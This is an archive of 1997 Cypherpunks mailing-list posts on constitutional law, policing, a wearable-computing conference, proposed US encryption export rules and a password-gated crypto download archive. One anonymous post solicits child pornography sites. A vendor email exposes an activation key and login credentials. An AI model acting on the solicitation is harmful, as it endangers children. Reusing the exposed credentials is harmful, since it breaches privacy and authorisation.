On Sun, 24 Aug 1997, Jim Choate wrote:

> -  Where in the 14th does it mention the Bill of Rights or apply them
>    to the states in such a manner that is not done in the original
>    Constitution?

Nowhere. The SCt just said it did.
> 
> -  Why does the last section of the last item prior to my quote of the
>    14th not apply said Bill of Rights since it is clearly a part of the
>    Constitution and worded much stronger than the 14th?
> 
Because it applies to "this constitution" which addresses, in 1A
for example, only what Congress cannot do.  Which prety much answers
the rest of your questions except the last one.
[snip to last]

> -  And finaly, why should we as citizens accept the rulings of the SCt
>    as the final word since we and not the federal government are the
>    ones granting the power to govern? Add to this that Constitutionaly
>    the role of the SCt is to limit Congress and not the citizenry.

Because we accept the Constitution, and the SCt's role thereunder,
as interpreted by none other than the SCt itself, ironically;
otherwise, and I admit that there is an otherwise, this question 
is beyond the scope of Con Law 701:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 24 Aug 1997 08:32:03 +0800
To: cypherpunks@toad.com
Subject: Re: In Defense of Pat Robertson and the "700 Club"
Message-ID: <199708240021.CAA06971@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lynne L. Harrison wrote:
> At 02:08 AM 8/23/97 -0700, you wrote:
> >If Pat Robertson called for the death by stoning of UFO believers, it was
> >almost certainly rhetorical hyperbole, like Rush Limbaugh's suggestions of
> >what ought to be done to lesbians.
> 
> The Anti-UFO movement has replaced (or is along side of) the
> anti-evolutionary movement.  It is Robertson's and his ilk's belief that
> UFO's are anti-Christian, i.e., Satan's plot to disprove biblical teachings
> - specifically, if there is life on other worlds, then the Bible is
> incorrect in that man was created in God's image since Vulcans, Klingons,
> and whom/whatever would also have to be added as being created in God's image.

  My Bible not only has references to the Vulcans and Klingons, but it
is also signed with Jesus's PGP key, which is verified with Kent
Crispin's
PGP signature (dated Dec. 17, 2041).

Sincerely,
  Pigs Fly





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 24 Aug 1997 18:17:14 +0800
To: cypherpunks@toad.com
Subject: Stealth Helicopters
Message-ID: <WDAMcKtYO5ml0xOXN6xWbQ==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

> >       There is no conspiracy by a secret government to destroy
> >       the Constitution, enslave the people, and rule the world.
>
> "Like them new Stealth Helicopters, equipped with devices to drown out
> the sound."

  I was watching a 'crop' in Humbold County, CA, in the early 80's
and was standing near the top of a hill one day when I heard a
slight "whoosh, whoosh" for about three seconds before a helicopter
came over the hill, scaring the living shit out of me.
  I imagine that in the 15 or so years since then, the govt has
managed to make them invisible, as well.

  The Campaign Against Marijuana Production (CAMP) was interesting,
with the Federal government supplying the toys, and the heavily
armed troops consisting of 'volunteers' from various agencies and
LEA's.
  At the time, I wondered if one of the purposes of CAMP was to
enable local law enforcement personnel from around the nation to
do 'male bonding' with Big Brother. Now I believe that history
has proven me correct.
  A varitey of other Federal policies, laws and regulations also
seem aimed at drawing local and regional LEA's into Big Brother's
spreading web.

  The confiscation of drug-related assets, for instance, allows
the LEA's in Louisianna to confiscate the vehicles of a multitude
of out-of-state visitors under the slimmest of pretexes.
  The Feds have basically put local LEA's in their back pocket by
letting them play with their hi-tech toys and sharing the spoils
of the War Against the Citizens.

  One of the people who have had their vehicle wrongfully seized
under the drug-related confiscations laws received the car as a
gift. Now the IRS is still demanding that he pay a 'gift tax' on
the vehicle, even though he only had it for a few days.
  The increasing cooperation between Federal, State and local
LEA's has brought a whole new meaning to the words, "The line
forms to the rear."

DisgustedMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 24 Aug 1997 12:29:11 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199708240414.GAA27979@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Only for the moment we are saying nothing.

- A'Tak A'Tdorn
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
Date: Mon, 25 Aug 1997 18:40:34 +0800
To: cypherpunks@toad.com
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <m0x2U9s-0003yFC@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text/plain




? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> wrote:

>I have always found such arms races pointless and unproductive.  Now
>instead of paying a small amount of money to the goverment you have to pay
>a massive amount of money for a securaty system.  Big thing with video
>camers, motion sensors and plungomatic securaty gards.

  Uh, don't you mean "instead of paying a large amount of money to the
government and a small amount of money for a security system, you now
just pay a small amount of money for the security system"? Or do you live
in a different reality to the rest of us, whose cops are so fuck-awful that
we have to both pay their wages and the obscene costs of our corrupt legal 
system, then pay extra to actually protect ourselves? Guns and cameras are
cheap compared to paying donut-hogs to examine rectums with plungers.

  CopPlunger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 24 Aug 1997 20:43:12 +0800
To: cypherpunks@toad.com
Subject: Oct 13-14 IEEE International Symposium on Wearable Computers(ISWC)
Message-ID: <v03110720b025d8fc3af4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Sun, 24 Aug 1997 03:22:15 -0500
From: <testarne@media.mit.edu>
To: technomads@UCSD.EDU
Subject: Oct 13-14 IEEE International Symposium on Wearable Computers (ISWC)


Actually, Steve, can you use this one instead?

						Thad Starner
						MIT Media Laboratory
						Wearable Computing Project

--------------------------------------
Oct 13-14 IEEE International Symposium on Wearable Computers (ISWC)

The International Symposium on Wearable Computers (ISWC) is the first
annual conference on computers that are worn as clothing.  The
conference is peer reviewed and sponsored by the IEEE Computer
Society.  The purpose of ISWC is to bring together researchers,
product vendors, research sponsors, and other interested persons to
share information and advances in wearable computers and augmented
reality.  The conference will include paper presentations,
exhibitions, and poster sessions.

	Registration is now open at

http://mime1.marc.gatech.edu/wearcon/

	Reserve your space before SEPTEMBER 1ST for the best hotel rates.

	A list of topics from the CFP and the advance program is below.

	Please forward!

						Thad Starner
						MIT Media Laboratory
						Wearable Computing Project
--------------
>From the CFP:
CONFERENCE TOPICS
The topics for ISWC may include:

        o  Applications, including affective computing, augmented
           reality, computer-supported collaborative work,
           computer-supported cooperative living, ubiquitous
           computing, personal imaging, consumer applications,
           industrial applications, medical applications, military
           applications, and software agents
        o  Ergonomics
        o  Future of wearable computing
        o  Hardware, including head-mounted display technologies,
           batteries, power management, heat dissipation
           techniques, industrial design techniques, and
           manufacturing packaging issues
       	o  Human interface issues, including hands-free user
       	   speech recognition, mobility-challenged users, user
       	   modeling, user evaluations, and health issues
        o  Networks, including wireless networks, on-body networks,
           the World Wide Web, and networked vs. standalone
           computers
        o  Operating system issues
        o  Social implications
        o  Software architectures
        o  Training, including performance support systems

----------

International Symposium on Wearable Computers
Advance Program

Monday, October 13, 1997

8:00 - 8:30 Coffee, Put Up Posters I

8:30 - 8:40 Opening Remarks

8:40 - 10:10 Evaluation Studies

Evaluation of three input mechanisms for wearable computers by
B. Thomas, S. Tyerman, and K. Grimmer

Wearable computers for performance support by
J. Ockerman, L. Najjar, and C. Thompson

A field usability evaluation of a wearable system by
J. Siegel and M. Bauer

10:10 - 10:30 View Posters I, Demos, Coffee

10:30 - 12:00 Industrial and Business Applications

Mobile approach support system for future machine tools by
R. Daude and M. Weck

Factory Automation Support Technology (FAST):  A new paradigm of
continuous learning and support using a wearable by
C. Thompson, L. Najjar, and J. Ockerman

Wearable computers for three-dimensional CSCW by
 M. Billinghurst, S. Weghorst, and T. Furness III

12:00 - 1:30 Lunch

1:30 - 3:00 New Hardware, Software Technology

Eyeglass-mounted displays for wearable computing by
M. B. Spitzer, N. M. Rensing, R. McClelland, and P. Aquilino

Intrabody buses for data and power by
R. Post, M. Reynolds, M. Gray, J. Paradiso, and N. Gershenfeld

Software organization for dynamic and adaptable wearable systems by
S. Fickas, G. Kortuem, and Z. Segall

3:00 - 4:00 View Posters, Demos, Coffee

4:00 - 6:00 Invited Talks

Dick Urban, DARPA
Rick Satava, DARPA
Jerry Bowskill, BT
David Mizell, Boeing

6:00 - 6:30 Take Down Posters I, Demos

----

Tuesday, October 14, 1997

8:30 - 9:00 Coffee, Put Up Posters II

9:00 -10:00 Personal Applications

An historical account of wearable computing by
S. Mann

A touring machine:  Prototyping 3D mobile augmented reality
systems for exploring the urban environment by
S. Feiner, B. MacIntyre, T. Hollerer, and A. Webster

10:00 - 10:30 View Posters II, Demos, Coffee

10:30 - 12:00 New Sensors, Displays

Tactual displays for wearable computing by
H. Tan and A. Pentland

Affective wearables by
R. W. Picard and J. Healey

A sensate liner for personnel monitoring applications by
E. Lind, S. Jayaraman, R. Rajamanickam, R. Eisler, and T. McKee

12:00 - 1:30 Lunch

1:30 - 3:00 Communications

Canard:  A framework for community messaging by
P. Chesnais

Metronaut:  A wearable computer with sensing and global
communication capabilities by
A. Smailagic

The wearable remembrance agent:  A system for augmented memory by
B. Rhodes

3:00 - 4:00 View Posters II, Demos, Coffee

4:00 - 5:30 Using Wearable Sensors

A wearable computer based American Sign Language recognizer by
T. Starner, J. Weaver, and A. Pentland

Stochasticks:  Augmenting the billiards experience with
probabilistic vision and wearable computers by
T. Jebara, Cyrus Eyster, J. Weaver, T. Starner, and A. Pentland

Towards situated computing by
R. Hull, P. Neaves, and J. Bedford-Roberts

5:30 - 6:00   Take Down Posters II, Demos

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 24 Aug 1997 22:16:13 +0800
To: cypherpunks@toad.com
Subject: NYT on Draft Crypto Regs
Message-ID: <1.5.4.32.19970824135750.00728420@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Wayner reports in the on-line New York Times today on 
the draft BXA encryption regs being circulated among 
government agencies for comment. Peter highlights the proposed
new restrictions on electronic distribution of crypto. Adam Shostack
is quoted:

   http://www.nytimes.com/library/cyber/week/082497encrypt.html

For those unable to access the NYT site, we've put a copy at:

   http://jya.com/bxa-nyt.htm

We remind that a July 25 version of the draft regs is available at:

   http://jya.com/bxa-ei-rule.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 23:10:09 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199708241505.KAA29590@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   
   
   
     _________________________________________________________________
   
   What's on
   CNN
     _________________________________________________________________
   
   Health banner Taking the pulse of family health & fitness rule
   
              REPORT: U.S. TO PAY HOSPITALS NOT TO TRAIN DOCTORS
                                       
      Doctor graphic August 24, 1997
     Web posted at: 10:22 a.m. EDT (1422 GMT)
     
     WASHINGTON (CNN) -- In an effort to reduce a glut of physicians in
     the United States, the federal government will pay training
     hospitals hundreds of millions of dollars not to train doctors, The
     Washington Post reported Sunday.
     
     The initiative, part of the new federal budget agreement, also for
     the first time essentially forbids hospitals from increasing the
     size of their residency programs, the paper reported.
     
     Medicare underwrites residency training programs heavily. Taxpayers
     spend $7 billion a year on the training, with each resident
     translating into an average subsidy of $100,000 a year.IN CONTEXT
     
     Medicare spends up to $7 billion a year on physician training
     programs. But with one physician for every 380 people in the United
     States, critics say the government is paying for more doctors than
     it needs.
     
     Under the new plan, Medicare will instead pay hospitals to shrink
     their residency programs. Hospitals that voluntarily reduce
     residency training programs by 20 to 25 percent over five years will
     get the full amount of the lost subsidies for the first two years,
     with payments tapering off over the next three years, the newspaper
     said.
     
     After five years, the payments will cease, leaving the program with
     fewer residents to underwrite. Administration health officials and
     leading Republicans say the program will save Medicare money in the
     long run, the Post reported.
     
     The payments are the government's first effort to constrict the
     pipeline of people entering the medical profession, and one of the
     few times the federal government has used subsidies as leverage to
     shrink a particular work force.
     
  New York tried program first
  
     
     
     The program mirrors an experimental program in New York endorsed by
     the Clinton administration earlier this year.
     
     Under the agreement between the Greater New York Hospital
     Association and the federal Health Care Financing Administration,
     which runs Medicare, New York is to receive $400 million over
     several years to train fewer doctors, especially in those in certain
     specialties.
     
     Of the state's 75 teaching hospitals, the Post reported, 42 signed
     up for the program -- nearly four times as many as expected.
     
     But the agreement drew fire from teaching hospitals in other areas
     of the country who were cutting their residency rolls voluntarily
     and absorbing the cost of the lost subsidies without federal
     assistance.
     
  Some say agreement may have been unnecessary
  
     
     
     Some government officials quoted by the Post said the glut of
     doctors, particularly specialists, in the United States was a
     growing problem, and argued that the budget agreement was a valuable
     cost-cutting tool. "It remains a voluntary matter of choice for
     these teaching hospitals. It isn't a mandate," said Ari Fleischer, a
     spokesman for committee chairman Rep. Bill Archer, R-Texas.
     
     Others wondered whether it was necessary. The number of doctors
     training to become specialists in some fields has declined
     dramatically despite the subsidy program, the Post article said, due
     to well-publicized warnings that jobs for specialists were only
     available in less populated areas.
     
     The United States boasts over 700,000 physicians, more per capita
     than any other country.
     
    
   rule
   
  Related story:
  
     * Welcome to washingtonpost.com
          + washingtonpost.com: National News
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: XAVIER243@aol.com
Date: Sun, 24 Aug 1997 22:45:34 +0800
To: cypherpunks@toad.com
Subject: Child Porn
Message-ID: <970824103216_1387541072@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Got any info or sites 4 me???





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 25 Aug 1997 02:47:16 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: David Downey asks to be shot
In-Reply-To: <v03102804b01fa3e68fed@[207.167.93.63]>
Message-ID: <3.0.2.32.19970824111716.04061980@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:34 PM 8/23/97 -0400, Rabid Wombat wrote:
>
>We'll fall-in out in the compound as soon as Tim finds his shoes.

"Shoes for Cypherpunks! Shoes for the dead! Shoes for Cypherpunks!  Where
would a Cypherpunk be without his shoes?"


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 24 Aug 1997 18:42:22 +0800
To: cypherpunks@toad.com
Subject: Re: Welfare Solution #389
Message-ID: <199708241031.MAA29938@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Mix wrote:

> I could imagine that a junkie who takes some old lady's purse to buy
> heroin is victimizing the old lady, but is a student smoking marijuana
> and drinking a beer victimizing anyone? What about a heroin junkie who
> is rich, though unpopular, and never committed any other crime? Have
> they made themselves a victim of something? Maybe so...the needle,
> the darkness, the overwhelming Love Which Cannot Be Real. But the
> state shouldn't recognize "mystical entities" like this as perpetrators.
> The person in this case is making a choice; they will do no harm but
> to themselves. Are they then a victim, or a perpetrator, or both?

-- Excerpt from "Victim" (c) County Mountie Productions --

{Passage sung by purse snatcher who is mugging little old lady.}
	"I knocked her dowm, stepped on her face,
	 Slandered her name all over the place.
	 Hit her with my fist, kicked her with my shoe,
	 	"I said, "Lady, I'm a victim.
	 	 A victim, just like you.
		 I'm a victim of a Bad Attitude."
--

  When this song was recorded, it was somewhat tragically ironic,
but it proved to be prophetic.
  I believe that "Bad Attitude" is now a recognized psychiatric
illness, allowing one a reduced sentence and monetary support
from the government while the poor victim of "Bad Attitude"
takes "the cure" on the beaches of the Hawaii.

  I know a man in Tucson who worked all his life, spent all of 
his money recovering from an accident, and then couldn't get
welfare money when he needed a few more months of recuperation
before returning to work.
  The lady who turned him down made the mistake of commenting
that it was a shame he wasn't a drug addict, because then he
would "qualify" for welfare. The man lived on the streets for
several months, barely surviving, until he was healthy enough
to work, and he has never paid a dime in taxes since then.
  What is even more atrocious is that a church that he attended
occasionally turned down his request for minimal assistance,
because their policy was to only help those who qualified for
government benefits (in order to help weed out the "bums").
He wasn't "entitled" to the church's help as a Christian, but
he would have been, as an agnostic junkie.

  I met the man in the park, and gave him a place to live for
the last month of his recuperation, so he could shit, shower,
shave and use it as a base to look for work. In the next two
years, the company he went to work for bought around $50,000
worth of computers from me.
  Before this experience, the man was a "God and Country" type
of individual who probably would have turned in anyone he found
was "cheating" on their taxes. Now he is perfectly willing to
go to jail rather than give the robber barons their booty.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: support@golive.com
Date: Mon, 25 Aug 1997 05:17:13 +0800
To: cypherpunks@cyberpass.net
Subject: GoLive CyberStudio Trial Version
Message-ID: <199708242105.OAA27167@golive2.golive.com>
MIME-Version: 1.0
Content-Type: text



Dear Fritzie,

Thank you very much for downloading the GoLive CyberStudio Trial
Version. Your activation key is:

MWT4QWF7F8WP7GJJ

We also registered you for the GoLive CyberStudio Customer Site.
Use user name "fritzie126831" and password "csbfritzie126831" to login.
You can do that at http://www.golive.com using the "Login" button.

We hope that you will have fun working with CyberStudio. If there are
any questions or problems, please do not hesitate to contact
support@golive.com.

Best regards,
GoLive Systems, Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Mon, 25 Aug 1997 02:53:15 +0800
To: cypherpunks@www.video-collage.com
Subject: North American Crypto Archive status (fwd)
Message-ID: <199708241847.OAA25138@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Michael Paul Johnson -----

>From cpunks  Mon Aug 11 00:38:22 1997
Message-Id: <3.0.3.32.19970810222548.00923ad0@teal.csn.net>
X-Sender: mpj@teal.csn.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sun, 10 Aug 1997 22:25:48 -0600
To: coderpunks@toad.com
From: Michael Paul Johnson <mpj@ebible.org>
Subject: North American Crypto Archive status
Sender: owner-cypherpunks@toad.com
Precedence: bulk

-- Start of PGP signed section.

WHAT HAPPENED TO THE NORTH AMERICAN CRYPTO ARCHIVE?

The North American Crypto Archive at http://www.sni.net/~mpj/crypto.htm is
rather limited right now. I have deleted everything except the few files that
I contributed to the site. This was to save money, since I suddenly lost some
sponsors (who wish to remain anonymous, but I appreciate them greatly) who
were paying for the costs associated with the site. I am still planning to
resurrect the North American Crypto Archive, but this will likely take a
while. I think that almost all of the files were successfully rescued before
the site went down by at least one person. Note that much of what was there
can be found by following the links at http://www.sni.net/~mpj/freecrypt.htm
or by using appropriate search utilities.


WHY RESURRECT THE NORTH AMERICAN CRYPTO ARCHIVE?

1. To provide a place for U. S. and Canadian citizens to freely and openly
exchange cryptographic information, papers, programs, etc., without fear of
government reprisals.

2. To provide a friendly central repository for cryptographic libraries,
code, and papers, thus making it easy to find and use such information.

3. To provide a reasonably high bandwith connection for North Americans.

4. To exercise "freedom of the press" and press towards a constitutional EAR.


HOW MUCH SPACE WILL THIS TAKE?

My total archive space was at about 125 megabytes, but it had been trimmed
from what I would like to have. For example, downlevel versions of software
were generally deleted, and some things that are historically and
cryptographically interesting were not carried. I forsee usage of around 500
megabytes or more in the near future if we can make room for it. The storage
need not all be at the same site, however.


HOW MUCH BANDWIDTH WOULD IT TAKE?

I'd like to see at least ISDN connectivity. I've seen as many as 425 files
downloaded in a day from the current archive. Again, the storage and loading
need not all be at the same site.


WHAT DO YOU MEAN BY NOT HAVING ALL THE STORAGE AT ONE SITE?

I envision a new plan for running the archive such that one master index page
(like the "export controlled" one at http://www.sni.net/~mpj/na) points to
hidden directories all over the continent, wherever free space can be
gleaned. The only requirements on the remote sites to maintain the "export
controlled" status would be to maintain a cron job that changed the name of
the hidden ftp directory containing the files on the same schedule and using
the same key as used at the index site. For now, http://www.sni.net/~mpj/na
can remain as the password-controlled index site. This does require a slight
change to the architecture of the "export control" system in that the
directory name would be a function of the current time (UTC) and a secret
key, instead of being truly random like it is, now. The relative loss of
security in this change is inisgnificant relative to the (obvious) weak links
of the system. (Yes, I know that it can be defeated, but I also believe that
the system complies with the EAR as well as most do, anyway.) The gain in
this approach, of course, is that the index and ftp site need not reside on
the same server, as long as the system clocks are reasonably well
synchronized (within a few minutes).

One other advantage of having several sites is that popular files can be
placed on several different servers to lower the average traffic from any one
server and to make the system more robust against failures and overloads. The
archive would still have a single point of failure (at least initially) in
the index site, but that could also be replicated fairly easily as long as
users don't mind obtaining a separate password from each index site.


WHAT REMOTE SITES DO YOU PLAN TO USE?

I've had several people make inquiries or make offers, some of which sound
better than others. I hope that this one open letter answers all of the
questions that I got. I am looking for sites that:

1. Are *nix-based (at least for now).
2. Have some free disk space and bandwidth that can be used for this cause.
3. Have GNU C++ installed (or at least are identical to a host that I have
access to that does).
4. Grant me access to a shell account and an ftp account to maintain the
site.
5. Grant me access to cron so that I can have the hidden-directory renaming
program run at the right schedule.
6. Are likely to be available for a reasonably long term.
7. Are in the USA or Canada and controlled by a U. S. or Canadian citizen.


WHAT MAKES PEOPLE THINK THAT YOU WILL GET ALL OF THESE FREE RESOURCES?

The same thing that makes me think that people will donate otherwise idle CPU
resources for the fun of cracking a DES key or factoring very large numbers.


HOW DOES THE "EXPORT CONTROL" SOFTWARE WORK?

Ahh... here is the meat of the message that keeps it on topic for coderpunks
and sci.crypt:

First of all, it is important to understand the design restraints. The EAR
states that mere posting of cryptographic software on the internet is not an
export if guests must affirm a couple of things (see the regulations) and if
there is some kind of check that the "address of the receiving computer is
verified to be in the USA." Strict compliance with the latter is impossible,
but if the guest's email address is in a domain not commonly used in the USA
and Canada (.gov, .com, .org, .edu, .mil, .net, .us, or .ca), then I suspect
the guest of lying and deny access. Naturally, this is imperfect, but it is
honestly the best I could figure out how to do on a normal ISP shell account
that gives me no CGI script access. This really boils down to the honor
system. That is OK with me if it is OK with the U. S. Government, and the way
I interpret the law, it is.

Given that, here is the process:

1. http://www.sni.net/~mpj/usa is an html form that asks 3 "magic" questions
to verify eligibility to legally access the strong cryptographic software, as
well as the guest's email address. The 3 questions all default such that the
user must change each answer to be granted access. The email address must be
correct, because the user name and password are sent back via email, not as a
web page. The "submit" button sends this data to cgiemail, an application
that Colorado SuperNet does allow me to use. This form also invites
nonqualified guests to explore most of the same data via
http://www.sni.net/~mpj/freecryp.htm (links to crypto sites outside of North
America).

2. When cgiemail gets the data from the above form, it simply formats the
data using a template I supplied and mails it to me at mpj@csn.net.

3. I have an incoming mail filter that checks for any automated messages from
cgiemail (which all have a rather long fixed hexadecimal number for a subject
line), and processes them. If the guest answered all 3 questions properly,
and the email address given doesn't "look foreign," then a form letter is
filled in with a valid user name and password and mailed to the given email
address. (There are some other checks, like limiting the email address to one
destination, etc.) Noncompliant requests are simply discarded (since the
"thank you" message from the submission form really already answered them). I
thought about a courteous denial letter, but most of the bogus submissions
also have bogus email addresses, so I decided not to do that.

4. If our guest can spell his or her email address right (among other
things), then the email message directs him or her to
http://www.sni.net/~mpj/na with a valid user name and password.

5. http://www.sni.net/~mpj/na is password protected using the security
features of the Apache web server (as slightly tweaked by Colorado SuperNet).
This is the index of the files in the archive, which are in a subdirectory of
a hidden directory with a non-obvious name.

6. The hidden directory names are changed periodically to discourage the use
or posting of a copy of the page at http://www.sni.net/~mpj/na without
password protection. The idea is that by the time the cheater posted it and
anyone found it, the hidden directory names would have changed again,
invalidating the renegade index. The index is altered on the same schedule to
the same new names by a companion program. (Right now the same program does
both tasks, using a truly random number based on the arrival times and CRCs
of all of my mail, but this would have to change in the new distributed
archive model).


IS THAT REALLY GOOD ENOUGH?

I think so. It is the best export control model that I have seen that doesn't
lock out U. S. and Canadian citizens in the U. S. A. and Canada. I saw a
little more elaborate system on a Microsoft web site for distributing some
128-bit RC2 software, but it locked me out because it didn't like the way
Colorado SuperNet registered their "whois" information. It also locked me out
from work, since SSL connections can't get past our firewall. My model is
much less likely to lock out a duly qualified guest, and it is much better
than my old "warning message only" model that I used before crypto export
regulations passed from the ITAR to the EAR.


WHAT ABOUT CRYPTO SITES OUTSIDE OF NORTH AMERICA?

Please keep them up, and be ready to mirror any information that might
suddenly become legal to export from the USA on short notice. I say this
because the EAR is being challenged in court, and it is likely that
cryptographic software export regulations may be struck down. It is also
likely that the U. S. Government may quickly move to replace those
regulations with others in a very short amount of time after the EAR is
struck down. I don't want to encourage anyone to violate currently active
regulations, however. If you have a good cryptographic software site outside
of North America, and it isn't on my list at
http://www.sni.net/~mpj/freecrypt.htm, please let me know.


WHAT IS YOUR PGP KEY?

RSA key for PGP 2.6.x: ftp://ftp.csn.net/mpj/mpjkey.asc  (mpjA)
DH/DSS key for PGP 5.0: ftp://ftp.csn.net/mpj/mpjdhkey.asc (mpj@ebible.org)
(Note that my RSA key uses mpj@csn.net for an address. That old address still
works.)

-- End of PGP signed section, PGP failed!

----- End of forwarded message from Michael Paul Johnson -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 25 Aug 1997 02:12:40 +0800
To: cypherpunks@toad.com
Subject: Drastic crypto crackdown
Message-ID: <bBaqFDiFTI4OyRHT7Zr6Yw==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



>From the New York Times cybertimes:

Proposed U.S. Rules Would Slow
Encryption Software Downloads

By PETER WAYNER 

Under a proposed set of rules being circulated by the Commerce
Department, the Clinton Administration is considering regulating
Web servers that allow people to download encryption software.

Among the sites that would be affected are those now operated by
companies like Netscape, Pretty Good Privacy, and Microsoft, all
of which distribute software over the Web. Under the proposed rules,
access to such sites would be more tightly controlled or could
disappear altogether in the future.

The proposed new regulations would be modifications to the Export
Administration Regulations used by the Bureau of Export Affairs in
the Commerce Department to regulate the flow of encryption software
from the United States. The Commerce Department took control of
the regulations at the beginning of 1997 from the State Department
after the software industry pushed for a more responsive bureaucracy.

The version of the regulations being circulated is an interagency
draft, a document designed to give other agencies, like the Federal
Bureau of Investigation or the National Security Agency, the chance
to comment on them. For this reason, Commerce Department refused
to comment until the new rules are published in the Federal Register.

The spokeswoman from the Commerce Department also refused to check
the authenticity of the proposal, a copy of which was given to
CyberTimes by a software industry representative. Several other
industry representatives confirmed that the document was legitimate.

Most of the new regulations involve tuning the details of the
administration's key-recovery plan, which would allow industry to
export software with a built-in back door for the police to use to
gather evidence. For instance, the new regulations would require
key-recovery encryption software to be injected into the message
stream for law enforcement use at least every three hours.

The requirement for Federal approval of a Web server, however, is
buried inside the densely written, virtually impenetrable document,
and the change is not even noted in the executive summary at the
beginning. The new regulation would require that anyone setting up
a Web server offering encryption software seek an "advisory opinion"
from the Bureau of Export Affairs.

The opinions carry no weight in court and only serve as an indication
of the agency's view on the matter at a given moment. A company
could later be prosecuted for exporting software despite receiving
permission in an advisory opinion, although the existence of the
opinion should offer some emotional support with the court.

The purpose of the rule is to force the Web server to take all
prudent steps to ensure that encryption software is not leaving
the country. Currently, companies like Netscape or PGP ask anyone
requesting encryption software to fill out a form certifying that
they were not breaking the law. They also check the destination
domain to ascertain whether the receiving computer was located
within the United States. They could then deliver the software over
the Web without waiting for any government action.

The proposed regulations do not set out any hard and fast guidelines
for a company to meet. They only suggest that sites that allow
encryption downloads include an "access control system either
through automated means or human intervention, (that) checks the
address of every system requesting or receiving a transfer and
verifies that such systems are located within the United States or
Canada."

When Netscape originally set out to distribute the version of its
browser with high-grade encryption over the Internet, the company
sought the opinion of the State Department, which gave permission
in their version of an advisory opinion. But the new regulations
would effectively force Netscape to shut down its Web servers until
the Commerce Department could rule again -- a process that can take
several months.

This waiting time is what worries companies.  Although Vice President
Al Gore promised that the Commerce Department would reply promptly
to all applications, delays have increased for companies since the
beginning of the year.  Those delays, in turn, stymie widespread
distribution of new software.

This new regulation frustrates Peter Harter, global public policy
counsel at Netscape. "It seems to be inconsistent with the Vice
President's 'do no harm' promise to treat commerce online the same
as commerce for physical stores," Harter said. "I'm not aware of
any procedure that would require retail stores such as Fry's or
Egghead to apply to the Commerce Department."

Netscape depends heavily on electronic distribution to provide its
customers with the latest version of its products. New versions
that fix bugs and plug security holes are made available on the
Web as soon as possible. The regulations are ambiguous enough that
they may require a company to seek separate approval for every new
server it installs.

Kelly Huebner Blough, director of government relations for Pretty
Good Privacy, said:  "When we first release a product, it's available
off the Web. Then a few weeks later you can order a product in a
package." The company currently sells about 15 percent of its new
packages through the Web and it hopes to sell more that way, she
said.

Pretty Good Privacy is also in direct competition with Entrust
Technologies Ltd., a Canadian encryption software company that is
allowed to sell many of its Entrust products throughout the world.
Canadian regulations permit export of full-strength encryption
software to most parts of the world if the software is developed
entirely within Canada.  The company's Web server does check domain
names to detect whether the software might be going to Libya, Iran,
Iraq, Cuba, Angola, Syria, North Korea, France or Singapore.

The software industry worries that the Administration's proposed
regulations will restrict the growth of Internet commerce because
encryption is a crucial tool for secure transactions. While most
software companies do not include encryption technology at this
time, many suggest that its use will continue to grow because
encryption is the best defense against fraud on the Net. Banks,
